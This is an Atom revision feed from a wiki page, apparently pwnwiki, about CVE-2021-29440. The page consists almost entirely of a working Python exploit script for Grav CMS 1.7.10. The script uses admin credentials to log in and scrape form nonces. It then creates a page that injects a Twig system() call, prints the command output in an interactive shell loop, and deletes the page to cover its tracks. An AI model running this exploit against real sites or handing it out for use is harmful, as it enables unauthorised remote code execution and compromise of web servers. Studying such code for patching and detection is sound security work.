<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-29440_Grav_CMS_1.7.10_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-29440 Grav CMS 1.7.10 服務器端模板注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-29440_Grav_CMS_1.7.10_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-29440_Grav_CMS_1.7.10_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T06:57:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-29440_Grav_CMS_1.7.10_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4230&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) # Author: enox # Date: 06-06-2021 # Vendor: https://getgrav.org/ # Software Link...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-29440_Grav_CMS_1.7.10_%E6%9C%8D%E5%8B%99%E5%99%A8%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4230&amp;oldid=prev"/>
		<updated>2021-06-07T12:10:06Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) # Author: enox # Date: 06-06-2021 # Vendor: https://getgrav.org/ # Software Link...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)&lt;br /&gt;
# Author: enox&lt;br /&gt;
# Date: 06-06-2021&lt;br /&gt;
# Vendor: https://getgrav.org/&lt;br /&gt;
# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10&lt;br /&gt;
# Vulnerable Version(s): Grav CMS 1.7.10&lt;br /&gt;
# CVE: CVE-2021-29440&lt;br /&gt;
# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities&lt;br /&gt;
# NOTES: You need a user who has access to /admin dashboard with page creation privileges.&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
username = 'username'&lt;br /&gt;
password = 'password'&lt;br /&gt;
url = 'http://grav.local'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
&lt;br /&gt;
# Autheticating&lt;br /&gt;
## Getting login-nonce&lt;br /&gt;
def login(url,username,password):&lt;br /&gt;
	r = session.get(url + &amp;quot;/admin&amp;quot;)&lt;br /&gt;
	soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
	nonce = str(soup.findAll('input')[2])&lt;br /&gt;
	nonce = nonce[47:79]&lt;br /&gt;
&lt;br /&gt;
	## Logging in&lt;br /&gt;
	payload =f'data%5Busername%5D={username}&amp;amp;data%5Bpassword%5D={password}&amp;amp;task=login&amp;amp;login-nonce={nonce}'&lt;br /&gt;
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
	r = session.post(url+&amp;quot;/admin&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Creating Page for RCE&lt;br /&gt;
&lt;br /&gt;
def rce(url,cmd):&lt;br /&gt;
	## Getting form nonce and unique form id&lt;br /&gt;
	project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))&lt;br /&gt;
	r = session.get(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;)&lt;br /&gt;
	soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
	nonce = str(soup.findAll('input')[72])&lt;br /&gt;
	form_id = str(soup.findAll('input')[71])&lt;br /&gt;
	form_id = form_id[54:86]&lt;br /&gt;
	nonce = nonce[46:78]&lt;br /&gt;
&lt;br /&gt;
	## Creating Page&lt;br /&gt;
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
	payload = f'task=save&amp;amp;data%5Bheader%5D%5Btitle%5D={project_name}&amp;amp;data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&amp;amp;data%5Bfolder%5D={project_name}&amp;amp;data%5Broute%5D=&amp;amp;data%5Bname%5D=default&amp;amp;data%5Bheader%5D%5Bbody_classes%5D=&amp;amp;data%5Bordering%5D=1&amp;amp;data%5Border%5D=&amp;amp;toggleable_data%5Bheader%5D%5Bprocess%5D=on&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&amp;amp;data%5Bheader%5D%5Border_by%5D=&amp;amp;data%5Bheader%5D%5Border_manual%5D=&amp;amp;data%5Bblueprint%5D=&amp;amp;data%5Blang%5D=&amp;amp;_post_entries_save=edit&amp;amp;__form-name__=flex-pages&amp;amp;__unique_form_id__={form_id}&amp;amp;form-nonce={nonce}&amp;amp;toggleable_data%5Bheader%5D%5Bpublished%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmetadata%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdateformat%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmenu%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bslug%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bredirect%5D=0&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btwig_first%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bchild_type%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bvisible%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdebugger%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btemplate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'&lt;br /&gt;
	r = session.post(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
&lt;br /&gt;
	## Getting command output&lt;br /&gt;
	r = session.get(url+f&amp;quot;/{project_name.lower()}&amp;quot;)&lt;br /&gt;
	if 'SyntaxError' in r.text:&lt;br /&gt;
		print(&amp;quot;[-] Command error&amp;quot;)&lt;br /&gt;
	else:&lt;br /&gt;
		a = r.text.split('&amp;lt;section id=&amp;quot;body-wrapper&amp;quot; class=&amp;quot;section&amp;quot;&amp;gt;')&lt;br /&gt;
		b = a[1].split('&amp;lt;/section&amp;gt;')&lt;br /&gt;
		print(b[0][58:])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	# Cleaning up&lt;br /&gt;
	## Getting admin-nonce&lt;br /&gt;
	r = session.get(url + &amp;quot;/admin/pages&amp;quot;)&lt;br /&gt;
	soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
	nonce = str(soup.findAll('input')[32])&lt;br /&gt;
	nonce = nonce[47:79]&lt;br /&gt;
&lt;br /&gt;
	## Deleting Page&lt;br /&gt;
	r = session.get(url+f&amp;quot;/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
login(url,username,password)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
	cmd = input(&amp;quot;$ &amp;quot;)&lt;br /&gt;
	rce(url,cmd)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>